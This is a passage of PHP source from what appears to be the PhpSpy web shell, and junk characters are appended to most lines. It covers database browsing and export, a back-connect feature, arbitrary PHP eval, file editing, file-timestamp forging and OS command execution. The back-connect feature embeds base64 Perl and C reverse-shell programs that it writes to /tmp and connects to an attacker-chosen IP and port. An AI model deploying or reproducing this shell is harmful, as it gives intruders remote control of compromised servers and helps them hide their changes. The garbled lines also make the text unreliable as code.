    " [& A# ~/ q$ N
  1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');; ~8 E0 S& B, c( s- F
  1016.                                                                         break;: Y  h. w2 _5 ]4 w' ^
  1017.                                                         }
    & G! K; r, x0 R8 j) ~/ m7 ^( `, _: u/ I
  1018.                                                 }
    ; ~3 `6 D- I* E9 ]
  1019.                                         }, @8 h* l. J1 R+ R; S
  1020.                                 }
    0 r. u# T5 @! b8 v' `+ o! p" i3 ^
  1021.                         } else {
      ~. n; h5 W+ z$ e
  1022.                                 $query = q("SHOW TABLE STATUS");( t; h3 |) ?0 P0 Y) ?4 o
  1023.                                 $table_num = $table_rows = $data_size = 0;+ H& O3 j% s# H
  1024.                                 $tabledb = array();7 b. k) e( R: \( q
  1025.                                 while($table = mysql_fetch_array($query)) {
    * L. }1 z$ c3 I
  1026.                                         $data_size = $data_size + $table['Data_length'];0 V; a- l. b$ e  g
  1027.                                         $table_rows = $table_rows + $table['Rows'];. r2 e, D5 W0 \, b6 c9 _6 ~# ~
  1028.                                         $table['Data_length'] = sizecount($table['Data_length']);1 t' P0 j. s4 q5 }
  1029.                                         $table_num++;
    9 T; Y! R% A# K$ a% c. M8 C$ w/ `) }
  1030.                                         $tabledb[] = $table;
    - C/ s, W* E/ e/ M. z
  1031.                                 }$ T' Y7 Z# w) J8 N0 r
  1032.                                 $data_size = sizecount($data_size);
    7 J" S& x; ^" T9 K5 |& o+ E
  1033.                                 unset($table);
    & u$ i( g1 n7 z3 r  L$ ?3 t
  1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');; L2 ^' y/ Q$ ^6 b. A3 s
  1035.                                 p('<form action="'.$self.'" method="POST">');
    : ^: f" A. p7 z1 Z3 q
  1036.                                 makehide('action','sqladmin');; `* j4 J: a7 K% l  A  e! \
  1037.                                 p($dbform);
    ! q1 V, Q5 y9 ~3 l5 A$ ]( K3 K) h
  1038.                                 p('<tr class="head">');5 A0 d+ ^1 w) j$ ?$ [& ^7 ], l0 W
  1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
    ; v0 d; A% I9 E. x2 ^! {, f
  1040.                                 p('<td>Name</td>');
    $ h5 F- Z0 P: V8 Z" A3 f- b
  1041.                                 p('<td>Rows</td>');
    1 t7 Z. a; a% S0 r2 Q  {/ M
  1042.                                 p('<td>Data_length</td>');
    , d0 f4 a* \6 T9 V- K* u! U, ]; N
  1043.                                 p('<td>Create_time</td>');2 ]& p* ^# e1 }% S& I( U0 f
  1044.                                 p('<td>Update_time</td>');" |- y9 z8 C4 D4 n- p4 G. [: @) t
  1045.                                 if ($highver) {( ~5 M& O$ J- H' a* |
  1046.                                         p('<td>Engine</td>');' u9 b' U8 X! t3 Y; _, a( ?: f
  1047.                                         p('<td>Collation</td>');" \# c& Q9 @' Q- S2 L6 p" ^
  1048.                                 }7 N# W* J, a' L1 c. x4 ^* S! K' X( Q
  1049.                                 p('</tr>');
    " B( x' \: v( b5 Z
  1050.                                 foreach ($tabledb as $key => $table) {
    / _* l9 w0 H' K* c2 i# c
  1051.                                         $thisbg = bg();+ h% q+ M4 Z& ^* K+ P; g
  1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');- T  c& O0 E. c4 L
  1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');. `3 v# J' M7 ?2 [; ~1 \
  1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
    3 }  E3 b) _+ j5 h
  1055.                                         p('<td>'.$table['Rows'].'</td>');
    - M9 J# B$ o- \) Q
  1056.                                         p('<td>'.$table['Data_length'].'</td>');4 a8 G* N* }: K' W% S' V  U. s( f" S2 _
  1057.                                         p('<td>'.$table['Create_time'].'</td>');+ @) J7 v2 i6 d2 v- e) S+ [
  1058.                                         p('<td>'.$table['Update_time'].'</td>');
    + g3 x3 \1 l2 n
  1059.                                         if ($highver) {
    7 \6 _- C+ K& C/ L
  1060.                                                 p('<td>'.$table['Engine'].'</td>');
    1 l0 K% z1 _; q7 Z% p9 H
  1061.                                                 p('<td>'.$table['Collation'].'</td>');. O3 F, D2 f7 W3 Q+ f; b
  1062.                                         }
    7 X6 y7 Y' t  ~, q- x: M3 c
  1063.                                         p('</tr>');* J1 Z7 }4 e# g: v; z- [) _
  1064.                                 }: u$ l( o/ z- i6 r" y
  1065.                                 p('<tr class='.bg().'>');
    * K' R# o1 i3 h& b
  1066.                                 p('<td> </td>');9 T/ q( K1 V* B* M9 W. s# r
  1067.                                 p('<td>Total tables: '.$table_num.'</td>');
    ( W8 M, O1 E8 u# f0 {; H3 ]' A+ z
  1068.                                 p('<td>'.$table_rows.'</td>');7 v# [1 k( U# S# h# \$ u
  1069.                                 p('<td>'.$data_size.'</td>');
    : E- X# L3 m& L; v) r
  1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');, z, z7 e$ w9 _' O0 p) L; V
  1071.                                 p('</tr>');3 O5 F- H- A$ h) a2 \! I+ D
  1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");  n% u* [- e* p- Y; }
  1073.                                 makehide('doing','backupmysql');
    7 ~8 f6 o" `8 Z% v7 }+ T% c& [
  1074.                                 formfoot();
    $ `9 L( w1 G  C4 f; S6 Z8 D" j
  1075.                                 p("</table>");9 H0 Q- d. ^* K) A  F( i
  1076.                                 fr($query);8 _0 `) b6 k( z* @! Q5 D- s
  1077.                         }) t1 a8 ^9 s5 O/ X' C
  1078.                 }& ?0 t6 z- k9 D& J
  1079.         }
    ( a# i, j" `* N. O% s6 z: W( C
  1080.         tbfoot();6 j3 P3 q0 S4 u% y7 @
  1081.         @mysql_close();1 c: Q8 w' D" y
  1082. }//end sql backup
    * D; Z. g0 o& D% k
  1083. elseif ($action == 'backconnect') {9 A: O1 r+ V  m9 n
  1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];! W/ _$ y8 O* Y
  1085.         !$yourport && $yourport = '12345';
    3 m: G8 W, t9 y/ f
  1086.         $usedb = array('perl'=>'perl','c'=>'c');2 m* `" T0 ?6 L5 F5 i0 k( s' E# I
  1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
    4 p9 n; l% l' q3 T/ p6 @7 i
  1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".5 M$ |" W* Z% y# \: E& m# O1 i
  1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".7 _# o' ~/ Y) L) h) C
  1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    / w2 Z. X6 y7 C2 `# N' |
  1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
    / n9 R- M  I) D+ d* V' ]& x
  1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".5 \$ b  k( K1 p8 Y# C8 J: Z; T
  1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";2 U: _. t1 R- g6 I9 n  ]
  1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC"./ k4 u6 E) ~/ M5 n9 p
  1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
    / Y/ m* e" F+ x9 B2 R; R3 r" D
  1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
    8 Q& H1 c4 H5 u& f
  1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ"., W. U, b6 |$ z  V, H2 `: c% ~
  1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".+ A# {' A5 @" B
  1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D"., e; Y) @0 K4 M( h3 ?; c4 N
  1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
    0 j5 D% C, i0 l/ Z
  1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";" r2 @* T% l9 A/ A. t$ U
  1102.         if ($start && $yourip && $yourport && $use){. y) f9 t$ @9 q! M
  1103.                 if ($use == 'perl') {1 C5 o0 _7 N8 s) p/ J' N) n, h
  1104.                         cf('/tmp/angel_bc',$back_connect);
    4 ~3 C1 m0 R* X) p3 Z
  1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");, X( P4 O! X, R
  1106.                 } else {
    . u% D, h3 o# p! N, @+ L: d2 c
  1107.                         cf('/tmp/angel_bc.c',$back_connect_c);, E) J5 Z9 W" N
  1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
    5 a6 ~# K6 j$ x  k1 e- d
  1109.                         @unlink('/tmp/angel_bc.c');
    " @% Y' p6 d: w" P( w
  1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");
    ' W( g. r) W, }& t5 A' u
  1111.                 }; e' b' x! [1 I- v
  1112.                 m("Now script try connect to $yourip port $yourport ...");9 [0 _% w; @8 [/ x
  1113.         }' E# N# @- J; H
  1114.         formhead(array('title'=>'Back Connect'));0 F% e7 n6 r+ |. C: y4 Q5 N
  1115.         makehide('action','backconnect');2 X" ^7 W# G5 [
  1116.         p('<p>');
    ' b8 U$ S1 \2 t* H
  1117.         p('Your IP:');7 m* D* Y  @$ W( Y# M1 e! o  Q
  1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
    - b/ _* R4 o% h4 l+ N
  1119.         p('Your Port:');
    ! `/ X) Z4 i; s  R% }3 g6 W
  1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
    & O& {) h, x# A9 o
  1121.         p('Use:');0 @. M- X1 X+ \, _$ U, I9 Q* X5 \! c
  1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));$ o% Q' Q) h' r( z( w- h4 V
  1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));- W, @/ Y( w9 _' ?
  1124.         p('</p>');6 x3 |5 b5 k; }: h
  1125.         formfoot();
    0 c  O) ^! O* G; s4 K1 |  N  m
  1126. }//end sql backup  r# I+ o* D$ S2 Z
  1127. elseif ($action == 'eval') {  b' ^2 w0 @* a0 ^! R: `7 G4 Y( Z
  1128.         $phpcode = trim($phpcode);
    ' o" x& Y: d& T
  1129.         if($phpcode){& Z# W( L. o: E% L. h8 T' z5 I; Q
  1130.                 if (!preg_match('#<\?#si', $phpcode)) {
    3 h) O) h2 l) |/ |9 S
  1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";) n4 D: ~! [* r
  1132.                 }. V  [7 D9 \5 i2 x
  1133.                 eval("?".">$phpcode<?");$ I8 N; d* F1 z3 h& [
  1134.         }6 W3 L' \2 G. s
  1135.         formhead(array('title'=>'Eval PHP Code'));
    ( @) g1 f; W  Y# j9 t
  1136.         makehide('action','eval');) \6 m1 t" `: q0 o; q
  1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
    + o* M! G3 P6 q+ Q( l. I7 _
  1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
    1 v/ \  ^, ^& |' [& A( J
  1139.         formfooter();; L% ^4 x# Z5 U  r
  1140. }//end eval! j7 m* _" q1 a8 S- h
  1141. , g: i+ h8 h6 ]) X. u2 N
  1142. elseif ($action == 'editfile') {: ~% a" c; _/ ]" J2 ~! Z
  1143.         if(file_exists($opfile)) {6 \& S/ W/ o* |/ K9 g! [" g: N% n5 R  C
  1144.                 $fp=@fopen($opfile,'r');
    . a: R* U2 B% R( d* _
  1145.                 $contents=@fread($fp, filesize($opfile));
    ( e: f7 O1 B* j; Z
  1146.                 @fclose($fp);
    ) L3 p6 z- R% f% a( z
  1147.                 $contents=htmlspecialchars($contents);1 F) N  s3 @. m
  1148.         }
    # M7 r8 x$ ?* X( S  ]: |) y
  1149.         formhead(array('title'=>'Create / Edit File'));  ^6 J! x7 i0 i  [$ ^8 R7 r/ \7 Y2 _
  1150.         makehide('action','file');. x2 }3 \; h1 d- C( q
  1151.         makehide('dir',$nowpath);
    7 O& u2 W" B3 a  E
  1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));( @  Z  X; B- W: F# f" x
  1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));5 i' v3 G' _$ M
  1154.         formfooter();1 p. a3 u/ v: s, ^
  1155. }//end editfile% {; a- o0 b  b7 m3 c$ m: Q% H
  1156. & j4 o1 D8 t3 F! u
  1157. elseif ($action == 'newtime') {& Z0 I' V& t8 P. [! j. a
  1158.         $opfilemtime = @filemtime($opfile);
    4 ~2 t3 Z' @4 y" g" k! Q8 e( f
  1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");3 N+ L( J( s/ V  Z
  1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
    - B% _$ {* X) u4 d# S9 E1 I
  1161.         formhead(array('title'=>'Clone file was last modified time'));
    ' v5 V% n  Y9 d: @5 o: k! @
  1162.         makehide('action','file');
    / y4 t3 B& m9 N, }1 A3 q
  1163.         makehide('dir',$nowpath);
    * ?: _% A- \  ]; x1 [
  1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));. x0 E2 S: L/ C/ \# B
  1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));% p$ I2 q* F" C' T
  1166.         formfooter();/ s( R/ R, {' z7 X; S) T' v
  1167.         formhead(array('title'=>'Set last modified'));5 m+ K( M  U6 B0 @& S: U3 F
  1168.         makehide('action','file');, s# v2 K7 Q0 I1 u+ c0 Y
  1169.         makehide('dir',$nowpath);
    7 L& p4 f: i- q4 o5 ^
  1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));$ j, F5 _& z! i# k" H
  1171.         p('<p>Instead »');
    : C9 {$ d  f. a. ^' J- {. _
  1172.         p('year:');
    2 P+ S+ n8 _! }) d
  1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
    6 H3 A2 Q) \$ @* x" g3 Y
  1174.         p('month:');
    2 f: i- t& ]; [& D' E9 _2 `6 I4 U
  1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
    # y7 y" m. \: U5 P+ V
  1176.         p('day:');
    5 l7 a, X. Q0 `  H! U4 |
  1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
      {/ ]& a0 G, C9 t9 w3 f
  1178.         p('hour:');8 N9 i7 i+ y  T3 f3 f
  1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
    3 M! R) E9 N: K! U2 j, l
  1180.         p('minute:');
    % Q$ G+ t7 o) ^" I- a  F1 [
  1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
    : K. P, D: v; a! b8 P. e
  1182.         p('second:');
    $ D, E) w. f- j( U& f# Q
  1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));2 i; Z% W  v2 U5 k
  1184.         p('</p>');; r6 h  v, }6 E  B3 C
  1185.         formfooter();
    . H1 t8 o6 I1 Y
  1186. }//end newtime7 w, S6 e3 `' W! ?+ k
  1187. & q3 |3 U  p1 L- U: h, X
  1188. elseif ($action == 'shell') {7 W: `1 w# p" i. F' ~7 |
  1189.         if (IS_WIN && IS_COM) {
    3 x) }. w! E9 Y* w# r# Q, _
  1190.                 if($program && $parameter) {+ H1 K( U& ]1 N1 V+ j6 l
  1191.                         $shell= new COM('Shell.Application');
    8 Q3 h1 W$ y9 g1 T# S$ `, \
  1192.                         $a = $shell->ShellExecute($program,$parameter);
    % s; i8 L% O) H6 [6 }3 i8 [0 |
  1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
    ) C5 M: B2 h/ J/ s% R
  1194.                 }
    , _& ~7 \: R) R" m+ ]; R
  1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';
    $ b+ n+ {% Q+ I. B# C& S
  1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';1 }, l+ K6 R* @% ^& o4 ^& @5 Z
  1197.                 formhead(array('title'=>'Execute Program'));
      R+ M' v& J. {# L2 j8 x6 z
  1198.                 makehide('action','shell');. w9 v5 I1 Z% W: t& R, x8 B7 B
  1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));  m/ v  R  U: E7 d, _
  1200.                 p('<p>');. o( q$ ~6 M/ a: Z
  1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
    7 P/ S, D" F4 v. Q# h. J
  1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));  f( a; k: I* g+ S. f
  1203.                 p('</p>');: P( s5 n5 F6 r( l& @
  1204.                 formfoot();
    : t6 t% X  O) W8 ~' s# H& l
  1205.         }
    1 i2 R) d1 B5 \4 _+ f  o0 h8 D1 d
  1206.         formhead(array('title'=>'Execute Command'));
    2 I; W& H5 B$ `' H0 I( ]
  1207.         makehide('action','shell');
    ( P- c0 a( a% z$ y9 U2 m& V
  1208.         if (IS_WIN && IS_COM) {
    ( n1 S3 n: g0 x4 t, t
  1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
    7 Q# d- ^" l& h  t+ I1 ?! ~
  1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
      `& I+ Y( ~3 ]: F
  1211.         }
    * V, U: x9 G; \' n8 f4 I
  1212.         p('<p>');
    9 B$ i, R. V! [5 Y9 m/ `6 x$ v
  1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
    3 }* N' ^1 m8 }$ ]6 A7 n/ b
  1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));. B! C( T) |: h* ?& u
  1215.         p('</p>');
    ' m; K4 r# l1 O6 R9 k
  1216.         formfoot();
    9 P: U: e/ t" g5 J1 [: T

  1217. 8 H0 v+ i! w$ }' B, H3 T5 ]
  1218.         if ($command) {
    4 R# V: ~' G- S4 S) g. R8 C
  1219.                 p('<hr width="100%" noshade /><pre>');
    ( X6 }! C" i" K5 K; E
  1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {$ q/ n% P5 }4 O" b
  1221.                         $wsh = new COM('WScript.shell');
    . t4 B: Y5 }. `& ~! P% Y
  1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);
    + c) @: p! l. y+ {" W
  1223.                         $stdout = $exec->StdOut();
    : [( u% o) M, v  `; N. P* p  R
  1224.                         $stroutput = $stdout->ReadAll();; h) n8 G! w3 ~1 C% s, X& X* h  v, @5 K
  1225.                         echo $stroutput;
    6 L  n: y0 f4 u" x6 j6 x0 o
  1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
    9 A9 K1 p9 l& T( d8 S' M  Q
  1227.                         $descriptorspec = array(
    3 A  o, U- c8 m
  1228.                            0 => array('pipe', 'r'),
    / o# f8 B6 D6 |; n) l6 Y) J* l, U
  1229.                            1 => array('pipe', 'w'),
    4 K  S) p; S7 G( F: [6 I
  1230.                            2 => array('pipe', 'w')
    # F; ~7 O: \2 ^0 U% x2 H
  1231.                         );0 U, o, n$ c& F5 L) I4 ?
  1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
    7 P( r6 l% ?% f
  1233.                         if (is_resource($process)) {
    - y! j5 s8 B, \: Y$ E: e3 A
  1234.                                 fwrite($pipes[0], $command."\r\n");
    $ K$ W. V  d) C* I# B! e( M' u
  1235.                                 fwrite($pipes[0], "exit\r\n");/ h2 i, F7 v/ b4 i* i! O6 t! v
  1236.                                 fclose($pipes[0]);, u/ D9 n7 ^5 ?. s
  1237.                                 while (!feof($pipes[1])) {, ?- h; E0 `- T7 w0 H( N. V& U) C
  1238.                                         echo fgets($pipes[1], 1024);
    0 N$ J( M5 d, s3 T
  1239.                                 }
    % S8 ]: a" T5 {6 _: u  q4 G
  1240.                                 fclose($pipes[1]);' E  H$ I2 L* r
  1241.                                 while (!feof($pipes[2])) {
    . W, u! F  q5 @+ j6 ?5 K
  1242.                                         echo fgets($pipes[2], 1024);
    / r- \+ r" Y- d: A2 r6 F
  1243.                                 }7 s8 B/ e; Z" D# P! Y1 W
  1244.                                 fclose($pipes[2]);9 M* n% j: i* m3 l$ j7 c
  1245.                                 proc_close($process);
    1 k/ t. g: l; [! u% R' I
  1246.                         }. n' A  |6 v. O3 q5 y
  1247.                 } else {% @' Z- R$ I9 `9 Z! x
  1248.                         echo(execute($command));
    7 a% x& h1 |7 Z' @9 Y& B
  1249.                 }
    2 k$ [) d: k  V/ r, Z" M
  1250.                 p('</pre>');/ Y. B2 k, W6 z6 N" c
  1251.         }
    ' r3 A# F2 J' ^' ]  [4 Z, `7 f
  1252. }//end shell
    0 V# o( k6 z6 v2 Y( [& C3 ^, ~4 V

  1253. " ?) p4 u. n, D: j
  1254. elseif ($action == 'phpenv') {( K% _0 K0 _. l7 y+ |
  1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';% ]1 T5 o) z  q
  1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
    # h4 J: Q6 H$ Q4 B* u4 s3 F. d
  1257.         !$dis_func && $dis_func = 'No';       
    ; e- g% n% a4 R
  1258.         $info = array(3 }+ }. h) U3 l$ D8 z, a
  1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
    * h: T8 O# f7 i" H7 d- ?
  1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
    6 q- s7 M# A8 u
  1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
    ; u1 S( c, }% y; \
  1262.                 4 => array('Server OS',PHP_OS),, f! ]- @6 T* p; R. j* Z# C
  1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
    & G9 ?3 A7 u- e0 m
  1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),7 l: k, Z6 T+ o% I- r( @$ `
  1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),) ~3 q9 x3 t+ M7 Z1 X
  1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),
    ' m; U% q7 F1 `
  1267.                 9 => array('The file path',__FILE__),
    ! o1 X0 E4 r+ N1 o4 E& c

  1268. # w8 [! J8 o5 ]* A
  1269.                 10 => array('PHP Version',PHP_VERSION),
    ; O+ B0 @4 }, ?8 m
  1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),- l2 @3 e! g4 I
  1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
    ; E. M  v+ D9 l
  1272.                 13 => array('Administrator',$adminmail),- w& K, B; d+ n: U& W
  1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen'))," {. a' @3 W! _' K) i# S
  1274.                 15 => array('enable_dl',getcfg('enable_dl')),
    , y) w4 E# ]- p. e- t
  1275.                 16 => array('display_errors',getcfg('display_errors')),. u9 N9 q+ c. Y$ d5 Q; q4 `' B
  1276.                 17 => array('register_globals',getcfg('register_globals')),7 b' D% p9 B9 i& `. A5 @8 v: R
  1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),+ V) g8 ~$ F2 \2 ]
  1278.                 19 => array('memory_limit',getcfg('memory_limit')),  ?. k+ d# n3 G" a/ x$ s
  1279.                 20 => array('post_max_size',getcfg('post_max_size')),
    8 ]2 ~7 X% p) j. @8 {
  1280.                 21 => array('upload_max_filesize',$upsize),; X5 G6 D! g4 p* `0 F
  1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
    ( Z+ B6 \% H$ U( X% E$ u) c
  1282.                 23 => array('disable_functions',$dis_func),5 u0 f0 i0 {# @& q1 o
  1283.         );, ^6 C1 L' p- \$ I; p; {2 Q- E' ]

  1284. 9 {0 u2 k( B8 U* _* p) _
  1285.         if($phpvarname) {' @1 ^8 ?" \  b) E" K, b! y
  1286.                 m($phpvarname .' : '.getcfg($phpvarname));1 ^, L; O" L: @% U) t( t% |. ?3 n
  1287.         }7 {+ y, s5 b8 }* O: y9 U( q
  1288. ' R" z; M# G( L
  1289.         formhead(array('title'=>'Server environment'));1 c1 b" L/ I' u# }8 n/ H
  1290.         makehide('action','phpenv');
    : u1 h( F8 {" O* O# @! k
  1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));, Z+ ^4 J. k. o4 k. V
  1292.         formfooter();
    4 u/ J' d7 Z. {8 @- {( o1 e% Y

  1293. , X% w+ m  J# e' A
  1294.         $hp = array(0=> 'Server', 1=> 'PHP');4 Q- e# d9 F# X2 \
  1295.         for($a=0;$a<2;$a++) {
    4 g" |/ A& w/ I( S. b' e" E
  1296.                 p('<h2>'.$hp[$a].' »</h2>');
    - @% t- F# q5 Z' `" A+ V/ P9 W
  1297.                 p('<ul class="info">');
    , X% K4 F. o$ ?2 U0 g0 D& T$ f
  1298.                 if ($a==0) {3 P; y, h# m& j( C6 m! c
  1299.                         for($i=1;$i<=9;$i++) {
    & o8 Y4 k, p1 w, ]
  1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');6 k) u5 m- z; [7 U/ y- V7 O
  1301.                         }
    , V* `& R3 _& g$ W
  1302.                 } elseif ($a == 1) {2 U% g1 l8 p: I
  1303.                         for($i=10;$i<=23;$i++) {- P5 \, F- I0 \2 l1 R5 A
  1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
    ' p# i. l7 C+ E; G/ Y2 U
  1305.                         }
    : W8 w+ B* |! u* m% o) l
  1306.                 }
    ; N8 j& V, T2 T; v. d7 L" Y0 V
  1307.                 p('</ul>');
    , J/ f% i; A9 g
  1308.         }
    # G; m8 Y" U% i* H; b
  1309. }//end phpenv
    + H5 K& `$ P- ]. m4 z$ @

  1310. - ~; T7 k  ~- e$ M
  1311. else {
    5 F3 i& C: Q1 o
  1312.         m('Undefined Action');% D, Y0 ]+ q: c3 L! I
  1313. }# ~/ Y  g/ K" H5 f: q$ I
  1314. * h4 f( O; e8 `8 j+ H5 j1 }
  1315. ?>; O' X4 D6 h( b0 |; U) q0 G4 `
  1316. </td></tr></table>9 t8 J1 u" c5 d+ y( n% X$ _
  1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
    ; y/ j1 I  L% }
